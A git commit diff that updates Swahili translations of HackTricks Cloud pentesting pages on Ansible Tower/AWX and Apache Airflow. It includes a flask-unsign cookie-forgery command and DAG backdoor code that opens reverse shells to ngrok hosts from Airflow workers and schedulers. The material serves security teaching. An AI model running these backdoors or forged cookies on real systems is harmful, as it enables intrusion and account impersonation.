mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-28 15:54:27 -08:00
Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/
This commit is contained in:
@@ -8,6 +8,6 @@
|
||||
>
|
||||
> - Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
> - **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
>
|
||||
> </details>
|
||||
|
||||
@@ -1,60 +1,60 @@
|
||||
# Ansible Tower / AWX / Automation controller Security
|
||||
# Usalama wa Ansible Tower / AWX / Automation controller
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Taarifa za Msingi
|
||||
|
||||
**Ansible Tower** au toleo lake la wazi [**AWX**](https://github.com/ansible/awx) pia inajulikana kama **kiwango cha mtumiaji wa Ansible, dashibodi, na REST API**. Pamoja na **udhibiti wa ufikiaji kulingana na majukumu**, kupanga kazi, na usimamizi wa hesabu wa picha, unaweza kusimamia miundombinu yako ya Ansible kutoka kwa UI ya kisasa. REST API ya Tower na kiolesura cha amri hufanya iwe rahisi kuunganisha na zana na mifumo ya kazi ya sasa.
|
||||
**Ansible Tower** au toleo lake la wazi [**AWX**](https://github.com/ansible/awx) pia linajulikana kama **kiwango cha mtumiaji wa Ansible, dashibodi, na REST API**. Pamoja na **udhibiti wa ufikiaji kulingana na majukumu**, kupanga kazi, na usimamizi wa picha wa hesabu, unaweza kusimamia miundombinu yako ya Ansible kutoka kwa UI ya kisasa. REST API ya Tower na kiolesura cha amri hufanya iwe rahisi kuunganisha na zana na mifumo ya kazi ya sasa.
|
||||
|
||||
**Automation Controller ni toleo jipya** la Ansible Tower lenye uwezo zaidi.
|
||||
|
||||
### Differences
|
||||
### Tofauti
|
||||
|
||||
Kulingana na [**hii**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), tofauti kuu kati ya Ansible Tower na AWX ni msaada uliopokelewa na Ansible Tower ina vipengele vya ziada kama udhibiti wa ufikiaji kulingana na majukumu, msaada wa APIs za kawaida, na mifumo ya kazi iliyofafanuliwa na mtumiaji.
|
||||
Kulingana na [**hii**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), tofauti kuu kati ya Ansible Tower na AWX ni msaada unaopatikana na Ansible Tower ina vipengele vya ziada kama vile udhibiti wa ufikiaji kulingana na majukumu, msaada wa APIs za kawaida, na mifumo ya kazi iliyofafanuliwa na mtumiaji.
|
||||
|
||||
### Tech Stack
|
||||
### Teknohali
|
||||
|
||||
- **Web Interface**: Hii ni kiolesura cha picha ambapo watumiaji wanaweza kusimamia hesabu, ithibati, templeti, na kazi. Imeundwa kuwa ya kueleweka na inatoa picha kusaidia kuelewa hali na matokeo ya kazi zako za automatisering.
|
||||
- **REST API**: Kila kitu unachoweza kufanya kwenye kiolesura cha wavuti, unaweza pia kufanya kupitia REST API. Hii inamaanisha unaweza kuunganisha AWX/Tower na mifumo mingine au kuandika hatua ambazo ungeweza kufanya kawaida kwenye kiolesura.
|
||||
- **Database**: AWX/Tower inatumia hifadhidata (kawaida PostgreSQL) kuhifadhi usanidi wake, matokeo ya kazi, na data nyingine muhimu za uendeshaji.
|
||||
- **Kiolesura cha Mtandao**: Hii ni kiolesura cha picha ambapo watumiaji wanaweza kusimamia hesabu, ithibati, templeti, na kazi. Imeundwa kuwa ya kueleweka na inatoa picha kusaidia kuelewa hali na matokeo ya kazi zako za automatisering.
|
||||
- **REST API**: Kila kitu unachoweza kufanya katika kiolesura cha mtandao, unaweza pia kufanya kupitia REST API. Hii inamaanisha unaweza kuunganisha AWX/Tower na mifumo mingine au kuandika hatua ambazo ungeweza kufanya kawaida katika kiolesura.
|
||||
- **Hifadhidata**: AWX/Tower inatumia hifadhidata (kawaida PostgreSQL) kuhifadhi usanidi wake, matokeo ya kazi, na data nyingine muhimu za uendeshaji.
|
||||
- **RabbitMQ**: Hii ni mfumo wa ujumbe unaotumiwa na AWX/Tower kuwasiliana kati ya vipengele tofauti, hasa kati ya huduma ya wavuti na waendesha kazi.
|
||||
- **Redis**: Redis inatumika kama cache na nyuma ya foleni ya kazi.
|
||||
|
||||
### Logical Components
|
||||
### Vipengele vya Kihisia
|
||||
|
||||
- **Inventories**: Hesabu ni **mkusanyiko wa wenyeji (au nodi)** ambao **kazi** (Ansible playbooks) zinaweza **kufanywa**. AWX/Tower inakuwezesha kufafanua na kuunganisha hesabu zako na pia inasaidia hesabu za kidinamik ambazo zinaweza **kupata orodha za wenyeji kutoka mifumo mingine** kama AWS, Azure, nk.
|
||||
- **Projects**: Mradi kimsingi ni **mkusanyiko wa Ansible playbooks** zinazotolewa kutoka kwa **mfumo wa udhibiti wa toleo** (kama Git) ili kuvuta playbooks za hivi karibuni inapohitajika.
|
||||
- **Templates**: Templeti za kazi zinafafanua **jinsi playbook fulani itakavyofanywa**, ikitaja **hesabu**, **ithibati**, na **vigezo** vingine vya kazi.
|
||||
- **Credentials**: AWX/Tower inatoa njia salama ya **kusimamia na kuhifadhi siri, kama funguo za SSH, nywila, na token za API**. Ithibati hizi zinaweza kuunganishwa na templeti za kazi ili playbooks zipate ufikiaji unaohitajika zinapofanya kazi.
|
||||
- **Task Engine**: Hapa ndipo uchawi unafanyika. Injini ya kazi imejengwa juu ya Ansible na inawajibika kwa **kufanya playbooks**. Kazi zinatumwa kwa injini ya kazi, ambayo kisha inafanya playbooks za Ansible dhidi ya hesabu iliyotengwa kwa kutumia ithibati zilizotolewa.
|
||||
- **Schedulers and Callbacks**: Hizi ni vipengele vya juu katika AWX/Tower vinavyoruhusu **kazi kuandaliwa** kufanywa kwa nyakati maalum au kuanzishwa na matukio ya nje.
|
||||
- **Notifications**: AWX/Tower inaweza kutuma arifa kulingana na mafanikio au kushindwa kwa kazi. Inasaidia njia mbalimbali za arifa kama barua pepe, ujumbe wa Slack, webhooks, nk.
|
||||
- **Ansible Playbooks**: Ansible playbooks ni zana za usanidi, uwekaji, na uratibu. Zinabainisha hali inayotakiwa ya mifumo kwa njia ya automatisering, inayoweza kurudiwa. Imeandikwa kwa YAML, playbooks hutumia lugha ya automatisering ya kutangulia ya Ansible kuelezea usanidi, kazi, na hatua zinazohitajika kutekelezwa.
|
||||
- **Hesabu**: Hesabu ni **mkusanyiko wa wenyeji (au nodi)** ambao **kazi** (Ansible playbooks) zinaweza **kufanywa**. AWX/Tower inakuruhusu kufafanua na kuunganisha hesabu zako na pia inasaidia hesabu za kidinamik ambazo zinaweza **kupata orodha za wenyeji kutoka mifumo mingine** kama AWS, Azure, n.k.
|
||||
- **Miradi**: Mradi kimsingi ni **mkusanyiko wa Ansible playbooks** zinazopatikana kutoka kwa **mfumo wa udhibiti wa toleo** (kama Git) ili kuvuta playbooks za hivi punde inapohitajika.
|
||||
- **Templeti**: Templeti za kazi zinafafanua **jinsi playbook fulani itakavyofanywa**, zikielezea **hesabu**, **ithibati**, na **vigezo** vingine vya kazi.
|
||||
- **Ithibati**: AWX/Tower inatoa njia salama ya **kusimamia na kuhifadhi siri, kama funguo za SSH, nywila, na token za API**. Ithibati hizi zinaweza kuunganishwa na templeti za kazi ili playbooks ziwe na ufikiaji unaohitajika zinapofanywa.
|
||||
- **Mhandisi wa Kazi**: Hapa ndipo uchawi unafanyika. Mhandisi wa kazi umejengwa juu ya Ansible na unawajibika kwa **kufanya playbooks**. Kazi zinatumwa kwa mhandisi wa kazi, ambaye kisha anafanya playbooks za Ansible dhidi ya hesabu iliyoteuliwa kwa kutumia ithibati zilizotolewa.
|
||||
- **Wapangaji na Mkurugenzi**: Hizi ni vipengele vya juu katika AWX/Tower vinavyoruhusu **kazi kuandaliwa** kufanywa kwa nyakati maalum au kuanzishwa na matukio ya nje.
|
||||
- **Arifa**: AWX/Tower inaweza kutuma arifa kulingana na mafanikio au kushindwa kwa kazi. Inasaidia njia mbalimbali za arifa kama barua pepe, ujumbe wa Slack, webhooks, n.k.
|
||||
- **Ansible Playbooks**: Ansible playbooks ni zana za usanidi, uwekaji, na uratibu. Zinabainisha hali inayotakiwa ya mifumo kwa njia ya automatisering, inayoweza kurudiwa. Imeandikwa kwa YAML, playbooks hutumia lugha ya automatisering ya Ansible kuelezea usanidi, kazi, na hatua zinazohitajika kutekelezwa.
|
||||
|
||||
### Job Execution Flow
|
||||
### Mchakato wa Utekelezaji wa Kazi
|
||||
|
||||
1. **User Interaction**: Mtumiaji anaweza kuingiliana na AWX/Tower ama kupitia **Web Interface** au **REST API**. Hizi zinatoa ufikiaji wa mbele kwa kazi zote zinazotolewa na AWX/Tower.
|
||||
2. **Job Initiation**:
|
||||
- Mtumiaji, kupitia Web Interface au API, anaanzisha kazi kulingana na **Job Template**.
|
||||
- Job Template inajumuisha marejeleo kwa **Hesabu**, **Mradi** (unaoshikilia playbook), na **Ithibati**.
|
||||
- Mara kazi inapoanzishwa, ombi linawekwa kwa AWX/Tower backend ili kuorodhesha kazi hiyo kwa utekelezaji.
|
||||
3. **Job Queuing**:
|
||||
- **RabbitMQ** inashughulikia ujumbe kati ya kipengele cha wavuti na waendesha kazi. Mara kazi inapoanzishwa, ujumbe unatumwa kwa injini ya kazi kwa kutumia RabbitMQ.
|
||||
- **Redis** inafanya kazi kama nyuma ya foleni ya kazi, ikisimamia kazi zilizoorodheshwa zinazosubiri utekelezaji.
|
||||
4. **Job Execution**:
|
||||
- **Task Engine** inachukua kazi iliyoorodheshwa. Inapata taarifa muhimu kutoka kwa **Database** kuhusu playbook inayohusishwa na kazi, hesabu, na ithibati.
|
||||
- Kwa kutumia playbook ya Ansible iliyopatikana kutoka kwa **Mradi** uliohusishwa, Injini ya Kazi inafanya playbook dhidi ya nodi za **Hesabu** zilizotajwa kwa kutumia **Ithibati** zilizotolewa.
|
||||
- Wakati playbook inafanya kazi, matokeo yake ya utekelezaji (kumbukumbu, ukweli, nk) yanakusanywa na kuhifadhiwa katika **Database**.
|
||||
5. **Job Results**:
|
||||
- Mara playbook inapokamilisha kazi, matokeo (mafanikio, kushindwa, kumbukumbu) yanahifadhiwa kwenye **Database**.
|
||||
- Watumiaji wanaweza kisha kuona matokeo kupitia Web Interface au kuyatafuta kupitia REST API.
|
||||
- Kulingana na matokeo ya kazi, **Arifa** zinaweza kutumwa ili kuwajulisha watumiaji au mifumo ya nje kuhusu hali ya kazi. Arifa zinaweza kuwa barua pepe, ujumbe wa Slack, webhooks, nk.
|
||||
6. **External Systems Integration**:
|
||||
- **Hesabu** zinaweza kupatikana kwa kidinamik kutoka mifumo ya nje, ikiruhusu AWX/Tower kuvuta wenyeji kutoka vyanzo kama AWS, Azure, VMware, na zaidi.
|
||||
1. **Mingiliano ya Mtumiaji**: Mtumiaji anaweza kuingiliana na AWX/Tower kupitia **Kiolesura cha Mtandao** au **REST API**. Hizi zinatoa ufikiaji wa mbele kwa kazi zote zinazotolewa na AWX/Tower.
|
||||
2. **Kuanza Kazi**:
|
||||
- Mtumiaji, kupitia Kiolesura cha Mtandao au API, anaanzisha kazi kulingana na **Templeti ya Kazi**.
|
||||
- Templeti ya Kazi inajumuisha marejeleo kwa **Hesabu**, **Mradi** (unaoshikilia playbook), na **Ithibati**.
|
||||
- Mara kazi inapoanzishwa, ombi linawekwa kwa AWX/Tower nyuma ili kuweka kazi hiyo kwa utekelezaji.
|
||||
3. **Kuweka Kazi**:
|
||||
- **RabbitMQ** inashughulikia ujumbe kati ya kipengele cha wavuti na waendesha kazi. Mara kazi inapoanzishwa, ujumbe unatumwa kwa mhandisi wa kazi kwa kutumia RabbitMQ.
|
||||
- **Redis** inafanya kazi kama nyuma ya foleni ya kazi, ikisimamia kazi zilizowekwa zinazosubiri utekelezaji.
|
||||
4. **Utekelezaji wa Kazi**:
|
||||
- **Mhandisi wa Kazi** anachukua kazi iliyowekwa. Inapata taarifa muhimu kutoka kwa **Hifadhidata** kuhusu playbook inayohusishwa na kazi, hesabu, na ithibati.
|
||||
- Kwa kutumia playbook ya Ansible iliyopatikana kutoka kwa **Mradi** uliohusishwa, Mhandisi wa Kazi anafanya playbook dhidi ya nodi za **Hesabu** zilizotolewa kwa kutumia **Ithibati** zilizotolewa.
|
||||
- Wakati playbook inatekelezwa, matokeo yake ya utekelezaji (kumbukumbu, ukweli, n.k.) yanakusanywa na kuhifadhiwa katika **Hifadhidata**.
|
||||
5. **Matokeo ya Kazi**:
|
||||
- Mara playbook inapokamilisha utekelezaji, matokeo (mafanikio, kushindwa, kumbukumbu) yanahifadhiwa katika **Hifadhidata**.
|
||||
- Watumiaji wanaweza kisha kuona matokeo kupitia Kiolesura cha Mtandao au kuyatafuta kupitia REST API.
|
||||
- Kulingana na matokeo ya kazi, **Arifa** zinaweza kutumwa ili kuwajulisha watumiaji au mifumo ya nje kuhusu hali ya kazi. Arifa zinaweza kuwa barua pepe, ujumbe wa Slack, webhooks, n.k.
|
||||
6. **Ushirikiano wa Mifumo ya Nje**:
|
||||
- **Hesabu** zinaweza kupatikana kwa kidinamik kutoka mifumo ya nje, kuruhusu AWX/Tower kuvuta wenyeji kutoka vyanzo kama AWS, Azure, VMware, na zaidi.
|
||||
- **Miradi** (playbooks) zinaweza kupatikana kutoka kwa mifumo ya udhibiti wa toleo, kuhakikisha matumizi ya playbooks za kisasa wakati wa utekelezaji wa kazi.
|
||||
- **Schedulers and Callbacks** zinaweza kutumika kuunganisha na mifumo au zana nyingine, ikifanya AWX/Tower kujibu vichocheo vya nje au kufanya kazi kwa nyakati zilizopangwa.
|
||||
- **Wapangaji na Mkurugenzi** wanaweza kutumika kuunganisha na mifumo au zana nyingine, na kufanya AWX/Tower ijibu kwa vichocheo vya nje au kufanya kazi kwa nyakati zilizowekwa.
|
||||
|
||||
### AWX lab creation for testing
|
||||
### Uundaji wa maabara ya AWX kwa ajili ya majaribio
|
||||
|
||||
[**Kufuata nyaraka**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) inawezekana kutumia docker-compose kuendesha AWX:
|
||||
```bash
|
||||
@@ -86,35 +86,35 @@ docker exec tools_awx_1 awx-manage create_preload_data
|
||||
|
||||
### Supported roles
|
||||
|
||||
The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
|
||||
Jukumu lenye mamlaka zaidi linaitwa **System Administrator**. Mtu yeyote mwenye jukumu hili anaweza **kubadilisha chochote**.
|
||||
|
||||
From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
|
||||
Kutoka kwenye **white box security** ukaguzi, unahitaji **System Auditor role**, ambayo inaruhusu **kuangalia data zote za mfumo** lakini haiwezi kufanya mabadiliko yoyote. Chaguo lingine lingekuwa kupata **Organization Auditor role**, lakini itakuwa bora kupata ile nyingine.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Expand this to get detailed description of available roles</summary>
|
||||
|
||||
1. **System Administrator**:
|
||||
- This is the superuser role with permissions to access and modify any resource in the system.
|
||||
- They can manage all organizations, teams, projects, inventories, job templates, etc.
|
||||
- Hii ni jukumu la superuser lenye ruhusa za kufikia na kubadilisha rasilimali yoyote katika mfumo.
|
||||
- Wanaweza kusimamia mashirika yote, timu, miradi, orodha, templeti za kazi, nk.
|
||||
2. **System Auditor**:
|
||||
- Users with this role can view all system data but cannot make any changes.
|
||||
- This role is designed for compliance and oversight.
|
||||
- Watumiaji wenye jukumu hili wanaweza kuona data zote za mfumo lakini hawawezi kufanya mabadiliko yoyote.
|
||||
- Jukumu hili limetengwa kwa ajili ya kufuata sheria na uangalizi.
|
||||
3. **Organization Roles**:
|
||||
- **Admin**: Udhibiti kamili juu ya rasilimali za shirika.
|
||||
- **Auditor**: Ufikiaji wa kuangalia tu kwa rasilimali za shirika.
|
||||
- **Auditor**: Ufikiaji wa kuangalia tu kwenye rasilimali za shirika.
|
||||
- **Member**: Uanachama wa msingi katika shirika bila ruhusa maalum.
|
||||
- **Execute**: Anaweza kuendesha templeti za kazi ndani ya shirika.
|
||||
- **Read**: Anaweza kuona rasilimali za shirika.
|
||||
4. **Project Roles**:
|
||||
- **Admin**: Anaweza kusimamia na kubadilisha mradi.
|
||||
- **Use**: Anaweza kutumia mradi katika templeti ya kazi.
|
||||
- **Update**: Anaweza kuboresha mradi kwa kutumia SCM (udhibiti wa chanzo).
|
||||
- **Update**: Anaweza kuboresha mradi kwa kutumia SCM (source control).
|
||||
5. **Inventory Roles**:
|
||||
- **Admin**: Anaweza kusimamia na kubadilisha hesabu.
|
||||
- **Ad Hoc**: Anaweza kuendesha amri za ad hoc kwenye hesabu.
|
||||
- **Update**: Anaweza kuboresha chanzo cha hesabu.
|
||||
- **Use**: Anaweza kutumia hesabu katika templeti ya kazi.
|
||||
- **Admin**: Anaweza kusimamia na kubadilisha orodha.
|
||||
- **Ad Hoc**: Anaweza kuendesha amri za ad hoc kwenye orodha.
|
||||
- **Update**: Anaweza kuboresha chanzo cha orodha.
|
||||
- **Use**: Anaweza kutumia orodha katika templeti ya kazi.
|
||||
- **Read**: Ufikiaji wa kuangalia tu.
|
||||
6. **Job Template Roles**:
|
||||
- **Admin**: Anaweza kusimamia na kubadilisha templeti ya kazi.
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
# Apache Airflow Security
|
||||
# Usalama wa Apache Airflow
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Taarifa za Msingi
|
||||
|
||||
[**Apache Airflow**](https://airflow.apache.org) inatumika kama jukwaa la **kuandaa na kupanga mipango ya data au kazi**. Neno "kuandaa" katika muktadha wa mipango ya data linaashiria mchakato wa kupanga, kuratibu, na kusimamia kazi ngumu za data zinazotokana na vyanzo mbalimbali. Lengo kuu la mipango hii ya data iliyopangwa ni kutoa seti za data zilizoshughulikiwa na zinazoweza kutumika. Seti hizi za data zinatumika sana na maombi mengi, ikiwa ni pamoja na lakini sio tu zana za akili ya biashara, sayansi ya data na mifano ya kujifunza mashine, ambazo zote ni msingi wa utendaji wa maombi makubwa ya data.
|
||||
|
||||
Kwa msingi, Apache Airflow itakuruhusu **kupanga utekelezaji wa msimbo wakati kitu** (tukio, cron) **kinatokea**.
|
||||
|
||||
### Local Lab
|
||||
### Maabara ya Mitaa
|
||||
|
||||
#### Docker-Compose
|
||||
|
||||
@@ -16,7 +16,7 @@ Unaweza kutumia **faili ya usanidi ya docker-compose kutoka** [**https://raw.git
|
||||
|
||||
#### Minikube
|
||||
|
||||
Njia moja rahisi ya **kufanya kazi apache airflow** ni kuikimbia **na minikube**:
|
||||
Njia moja rahisi ya **kufanya kazi na apache airflo**w ni kuikimbia **na minikube**:
|
||||
```bash
|
||||
helm repo add airflow-stable https://airflow-helm.github.io/charts
|
||||
helm repo update
|
||||
@@ -64,20 +64,20 @@ Airflow kwa kawaida itaonyesha thamani ya variable katika GUI, hata hivyo, kulin
|
||||
|
||||
Hata hivyo, hizi **thamani** bado zinaweza **kupatikana** kupitia **CLI** (unahitaji kuwa na ufikiaji wa DB), **kutekeleza DAG** isiyo na mipaka, **API** inayofikia mwisho wa variables (API inahitaji kuwezeshwa), na **hata GUI yenyewe!**\
|
||||
Ili kufikia hizo thamani kutoka kwa GUI chagua tu **variables** unazotaka kufikia na **bonyeza kwenye Actions -> Export**.\
|
||||
Njia nyingine ni kufanya **bruteforce** kwa **thamani iliyofichwa** ukitumia **uchujaji wa utafutaji** hadi upate hiyo:
|
||||
Njia nyingine ni kufanya **bruteforce** kwa **thamani iliyofichwa** kwa kutumia **uchujaji wa utafutaji** hadi upate:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Privilege Escalation
|
||||
|
||||
Ikiwa usanidi wa **`expose_config`** umewekwa kuwa **True**, kutoka **kwa jukumu la Mtumiaji** na **juu** wanaweza **kusoma** **usanidi kwenye wavuti**. Katika usanidi huu, **`secret_key`** inaonekana, ambayo inamaanisha mtumiaji yeyote mwenye hii halali wanaweza **kuunda keki yao iliyosainiwa ili kujifanya kuwa akaunti nyingine yoyote ya mtumiaji**.
|
||||
Ikiwa usanidi wa **`expose_config`** umewekwa kuwa **True**, kutoka kwa **role User** na **juu** wanaweza **kusoma** **config katika wavuti**. Katika usanidi huu, **`secret_key`** inaonekana, ambayo inamaanisha mtumiaji yeyote mwenye hii halali wanaweza **kuunda cookie yao iliyosainiwa ili kujifanya kama akaunti nyingine yoyote ya mtumiaji**.
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
#### DAG Backdoor (RCE katika Airflow worker)
|
||||
|
||||
Ikiwa una **ufikiaji wa kuandika** mahali ambapo **DAGs zimehifadhiwa**, unaweza tu **kuunda moja** ambayo itakutumia **reverse shell.**\
|
||||
Kumbuka kwamba reverse shell hii itatekelezwa ndani ya **airflow worker container**:
|
||||
Kumbuka kwamba reverse shell hii itatekelezwa ndani ya **airflow worker container:**
|
||||
```python
|
||||
import pendulum
|
||||
from airflow import DAG
|
||||
@@ -118,7 +118,7 @@ op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
```
|
||||
#### DAG Backdoor (RCE katika Airflow scheduler)
|
||||
|
||||
Ikiwa utaweka kitu kifanyike **katika mzizi wa msimbo**, wakati wa kuandika hii, kita **fanywa na scheduler** baada ya sekunde chache baada ya kukiweka ndani ya folda ya DAG.
|
||||
Ikiwa utaweka kitu kifanyike **katika mzizi wa msimbo**, wakati wa kuandika hii, kitafanywa **na mpangaji** baada ya sekunde chache baada ya kukiweka ndani ya folda ya DAG.
|
||||
```python
|
||||
import pendulum, socket, os, pty
|
||||
from airflow import DAG
|
||||
@@ -146,20 +146,20 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
|
||||
Ikiwa utafanikiwa **kushambulia mashine ndani ya klasta ya DAG**, unaweza kuunda **scripts za DAG** mpya katika folda ya `dags/` na zitakuwa **zinakopiwa katika mashine zingine** ndani ya klasta ya DAG.
|
||||
|
||||
#### Uingiliaji wa Kode ya DAG
|
||||
#### Uingiliaji wa Msimbo wa DAG
|
||||
|
||||
Unapotekeleza DAG kutoka kwa GUI unaweza **kupitisha hoja** kwake.\
|
||||
Hivyo, ikiwa DAG haijakodishwa vizuri inaweza kuwa **na udhaifu wa Uingiliaji wa Amri.**\
|
||||
Hivyo ndivyo ilivyotokea katika CVE hii: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
Kila unachohitaji kujua ili **kuanza kutafuta uingiliaji wa amri katika DAGs** ni kwamba **parameta** zinapatikana kwa kode **`dag_run.conf.get("param_name")`**.
|
||||
Kila unachohitaji kujua ili **kuanza kutafuta uingiliaji wa amri katika DAGs** ni kwamba **parameta** zinapatikana kwa msimbo **`dag_run.conf.get("param_name")`**.
|
||||
|
||||
Zaidi ya hayo, udhaifu sawa unaweza kutokea na **mabadiliko** (zingatia kwamba kwa ruhusa ya kutosha unaweza **kudhibiti thamani ya mabadiliko** katika GUI). Mabadiliko yanapatikana kwa:
|
||||
Zaidi ya hayo, udhaifu huo unaweza kutokea pia na **mabadiliko** (zingatia kwamba kwa ruhusa ya kutosha unaweza **kudhibiti thamani ya mabadiliko** katika GUI). Mabadiliko yanapatikana kwa:
|
||||
```python
|
||||
from airflow.models import Variable
|
||||
[...]
|
||||
foo = Variable.get("foo")
|
||||
```
|
||||
Ikiwa zinatumika kwa mfano ndani ya amri ya bash, unaweza kufanya uhamasishaji wa amri.
|
||||
Ikiwa zinatumika kwa mfano ndani ya amri ya bash, unaweza kufanya uingizaji wa amri.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,41 +4,41 @@
|
||||
|
||||
## Configuration File
|
||||
|
||||
**Apache Airflow** inazalisha **config file** katika mashine zote za airflow inayoitwa **`airflow.cfg`** katika nyumbani ya mtumiaji wa airflow. Faili hii ya config ina taarifa za usanidi na **inaweza kuwa na taarifa za kuvutia na nyeti.**
|
||||
**Apache Airflow** inazalisha **config file** katika mashine zote za airflow inayoitwa **`airflow.cfg`** katika nyumbani mwa mtumiaji wa airflow. Faili hii ya config ina taarifa za usanidi na **inaweza kuwa na taarifa za kuvutia na nyeti.**
|
||||
|
||||
**Kuna njia mbili za kufikia faili hii: Kwa kuathiri mashine fulani ya airflow, au kwa kufikia console ya wavuti.**
|
||||
|
||||
Kumbuka kwamba **maadili ndani ya faili ya config** **yanaweza kuwa si yale yanayotumika**, kwani unaweza kuyabadilisha kwa kuweka mabadiliko ya mazingira kama `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
Kumbuka kwamba **thamani ndani ya faili ya config** **zinaweza zisikuwa zile zinazotumika**, kwani unaweza kuzibadilisha kwa kuweka mabadiliko ya mazingira kama `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
|
||||
Ikiwa una ufikiaji wa **faili ya config katika seva ya wavuti**, unaweza kuangalia **usanidi halisi unaoendelea** katika ukurasa huo ambapo config inaonyeshwa.\
|
||||
Ikiwa una ufikiaji wa **faili ya config katika seva ya wavuti**, unaweza kuangalia **usanidi halisi unaoendesha** katika ukurasa huo ambapo config inaonyeshwa.\
|
||||
Ikiwa una **ufikiaji wa mashine fulani ndani ya mazingira ya airflow**, angalia **mazingira**.
|
||||
|
||||
Baadhi ya maadili ya kuvutia ya kuangalia unapokuwa unaisoma faili ya config:
|
||||
Baadhi ya thamani za kuvutia za kuangalia unapokuwa unakagua faili ya config:
|
||||
|
||||
### \[api]
|
||||
|
||||
- **`access_control_allow_headers`**: Hii inaonyesha **headers** **zinazoruhusiwa** kwa **CORS**
|
||||
- **`access_control_allow_methods`**: Hii inaonyesha **mbinu** **zinazoruhusiwa** kwa **CORS**
|
||||
- **`access_control_allow_origins`**: Hii inaonyesha **michango** **zinazoruhusiwa** kwa **CORS**
|
||||
- **`auth_backend`**: [**Kulingana na nyaraka**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) chaguzi chache zinaweza kuwekwa ili kuunda nani anaweza kufikia API:
|
||||
- **`access_control_allow_headers`**: Hii inaonyesha **vichwa vilivyokubaliwa** kwa **CORS**
|
||||
- **`access_control_allow_methods`**: Hii inaonyesha **mbinu zilizokubaliwa** kwa **CORS**
|
||||
- **`access_control_allow_origins`**: Hii inaonyesha **michango iliyokubaliwa** kwa **CORS**
|
||||
- **`auth_backend`**: [**Kulingana na docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) chaguzi chache zinaweza kuwekwa ili kuunda nani anaweza kufikia API:
|
||||
- `airflow.api.auth.backend.deny_all`: **Kwa default hakuna** anayeweza kufikia API
|
||||
- `airflow.api.auth.backend.default`: **Kila mtu anaweza** kuifikia bila uthibitisho
|
||||
- `airflow.api.auth.backend.kerberos_auth`: Ili kuunda **uthibitisho wa kerberos**
|
||||
- `airflow.api.auth.backend.basic_auth`: Kwa **uthibitisho wa msingi**
|
||||
- `airflow.composer.api.backend.composer_auth`: Inatumia uthibitisho wa waandishi (GCP) (kutoka [**hapa**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: Hii inaonyesha **nafasi** ambayo **mtumiaji wa composer** atapata ndani ya **airflow** (**Op** kwa default).
|
||||
- `composer_auth_user_registration_role`: Hii inaonyesha **nafasi** ambayo **mtumiaji wa muandishi** atapata ndani ya **airflow** (**Op** kwa default).
|
||||
- Unaweza pia **kuunda njia yako ya uthibitisho** kwa kutumia python.
|
||||
- **`google_key_path`:** Njia ya **GCP service account key**
|
||||
|
||||
### **\[atlas]**
|
||||
|
||||
- **`password`**: Neno la siri la Atlas
|
||||
- **`password`**: Nenosiri la Atlas
|
||||
- **`username`**: Jina la mtumiaji la Atlas
|
||||
|
||||
### \[celery]
|
||||
|
||||
- **`flower_basic_auth`** : Taarifa za kuingia (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: URL ya Postgres ambayo inaweza kuwa na **taarifa za kuingia**.
|
||||
- **`flower_basic_auth`** : Akida (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: URL ya Postgres ambayo inaweza kuwa na **akida**.
|
||||
- **`ssl_cacert`**: Njia ya cacert
|
||||
- **`ssl_cert`**: Njia ya cheti
|
||||
- **`ssl_key`**: Njia ya ufunguo
|
||||
@@ -53,8 +53,8 @@ Baadhi ya maadili ya kuvutia ya kuangalia unapokuwa unaisoma faili ya config:
|
||||
### \[dask]
|
||||
|
||||
- **`tls_ca`**: Njia ya ca
|
||||
- **`tls_cert`**: Njia ya cheti
|
||||
- **`tls_key`**: Njia ya ufunguo wa tls
|
||||
- **`tls_cert`**: Sehemu ya cheti
|
||||
- **`tls_key`**: Sehemu ya ufunguo wa tls
|
||||
|
||||
